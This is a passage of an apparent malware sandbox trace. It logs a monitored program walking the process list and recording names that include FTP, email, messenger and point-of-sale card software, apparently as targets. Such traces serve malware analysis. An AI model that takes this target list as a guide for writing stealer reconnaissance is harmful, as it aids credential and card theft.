th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0062.168] lstrlenW (lpString="audiodg.exe") returned 11 [0062.168] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.170] lstrlenW (lpString="svchost.exe") returned 11 [0062.170] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.171] lstrlenW (lpString="svchost.exe") returned 11 [0062.171] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0062.172] lstrlenW (lpString="dwm.exe") returned 7 [0062.172] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0062.173] lstrlenW (lpString="explorer.exe") returned 12 [0062.173] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0062.175] lstrlenW (lpString="spoolsv.exe") returned 11 [0062.175] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.176] lstrlenW (lpString="svchost.exe") returned 11 [0062.176] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.177] lstrlenW (lpString="taskhost.exe") returned 12 [0062.177] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0062.179] lstrlenW (lpString="taskeng.exe") returned 11 [0062.179] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="developingthousands.exe")) returned 1 [0062.180] lstrlenW (lpString="developingthousands.exe") returned 23 [0062.180] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="efattack.exe")) returned 1 [0062.183] lstrlenW (lpString="efattack.exe") returned 12 [0062.183] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="feedback.exe")) returned 1 [0062.184] lstrlenW (lpString="feedback.exe") returned 12 [0062.184] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="happy blond engage.exe")) returned 1 [0062.186] lstrlenW (lpString="happy blond engage.exe") returned 22 [0062.186] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controller_type.exe")) returned 1 [0062.187] lstrlenW (lpString="controller_type.exe") returned 19 [0062.187] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="donations_berry.exe")) returned 1 [0062.188] lstrlenW (lpString="donations_berry.exe") returned 19 [0062.188] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lindsay.exe")) returned 1 [0062.190] lstrlenW (lpString="lindsay.exe") returned 11 [0062.190] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="columnists.exe")) returned 1 [0062.191] lstrlenW (lpString="columnists.exe") returned 14 [0062.191] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expected_converter_behind.exe")) returned 1 [0062.192] lstrlenW (lpString="expected_converter_behind.exe") returned 29 [0062.192] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="chose.exe")) returned 1 [0062.194] lstrlenW (lpString="chose.exe") returned 9 [0062.194] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinary_became.exe")) returned 1 [0062.195] lstrlenW (lpString="disciplinary_became.exe") returned 23 [0062.195] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="methods.exe")) returned 1 [0062.197] lstrlenW (lpString="methods.exe") returned 11 [0062.197] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation.exe")) returned 1 [0062.198] lstrlenW (lpString="circulation.exe") returned 15 [0062.198] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="suited.exe")) returned 1 [0062.200] lstrlenW (lpString="suited.exe") returned 10 [0062.200] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="infrastructure.exe")) returned 1 [0062.201] lstrlenW (lpString="infrastructure.exe") returned 18 [0062.201] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="manager_olympic.exe")) returned 1 [0062.203] lstrlenW (lpString="manager_olympic.exe") returned 19 [0062.203] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="relaxation-senegal-ring.exe")) returned 1 [0062.204] lstrlenW (lpString="relaxation-senegal-ring.exe") returned 27 [0062.204] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="help_through_allowing.exe")) returned 1 [0062.205] lstrlenW (lpString="help_through_allowing.exe") returned 25 [0062.205] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0062.207] lstrlenW (lpString="3dftp.exe") returned 9 [0062.207] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0062.208] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0062.208] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0062.209] lstrlenW (lpString="alftp.exe") returned 9 [0062.209] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0062.211] lstrlenW (lpString="barca.exe") returned 9 [0062.211] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0062.219] lstrlenW (lpString="bitkinex.exe") returned 12 [0062.220] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0062.221] lstrlenW (lpString="coreftp.exe") returned 11 [0062.221] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0062.222] lstrlenW (lpString="far.exe") returned 7 [0062.222] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0062.224] lstrlenW (lpString="filezilla.exe") returned 13 [0062.224] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0062.225] lstrlenW (lpString="flashfxp.exe") returned 12 [0062.225] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0062.227] lstrlenW (lpString="fling.exe") returned 9 [0062.227] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0062.229] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0062.230] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0062.231] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0062.231] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0062.232] lstrlenW (lpString="icq.exe") returned 7 [0062.232] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0062.234] lstrlenW (lpString="leechftp.exe") returned 12 [0062.234] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0062.235] lstrlenW (lpString="ncftp.exe") returned 9 [0062.235] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0062.236] lstrlenW (lpString="notepad.exe") returned 11 [0062.237] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0062.239] lstrlenW (lpString="operamail.exe") returned 13 [0062.239] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0062.241] lstrlenW (lpString="outlook.exe") returned 11 [0062.258] CloseHandle (hObject=0xe4) returned 1 [0062.258] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0062.260] lstrlenW (lpString="pidgin.exe") returned 10 [0062.260] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0062.263] lstrlenW (lpString="scriptftp.exe") returned 13 [0062.263] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0062.265] lstrlenW (lpString="skype.exe") returned 9 [0062.265] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0062.267] lstrlenW (lpString="smartftp.exe") returned 12 [0062.267] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0062.269] lstrlenW (lpString="thunderbird.exe") returned 15 [0062.269] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0062.271] lstrlenW (lpString="totalcmd.exe") returned 12 [0062.271] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0062.273] lstrlenW (lpString="trillian.exe") returned 12 [0062.273] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0062.321] lstrlenW (lpString="webdrive.exe") returned 12 [0062.321] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0062.324] lstrlenW (lpString="whatsapp.exe") returned 12 [0062.324] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0062.326] lstrlenW (lpString="winscp.exe") returned 10 [0062.326] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0062.328] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0062.328] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0062.330] lstrlenW (lpString="active-charge.exe") returned 17 [0062.330] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0062.332] lstrlenW (lpString="accupos.exe") returned 11 [0062.332] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0062.334] lstrlenW (lpString="afr38.exe") returned 9 [0062.334] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0062.336] lstrlenW (lpString="aldelo.exe") returned 10 [0062.336] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0062.338] lstrlenW (lpString="ccv_server.exe") returned 14 [0062.338] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0062.341] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0062.341] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0062.343] lstrlenW (lpString="creditservice.exe") returned 17 [0062.343] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0062.345] lstrlenW (lpString="edcsvr.exe") returned 10 [0062.345] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0062.346] lstrlenW (lpString="fpos.exe") returned 8 [0062.347] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0062.348] lstrlenW (lpString="isspos.exe") returned 10 [0062.349] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0062.350] lstrlenW (lpString="mxslipstream.exe") returned 16 [0062.350] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0062.352] lstrlenW (lpString="omnipos.exe") returned 11 [0062.352] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0062.354] lstrlenW (lpString="spcwin.exe") returned 10 [0062.354] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0062.356] lstrlenW (lpString="spgagentservice.exe") returned 19 [0062.356] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0062.358] lstrlenW (lpString="utg2.exe") returned 8 [0062.358] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="faces gardening 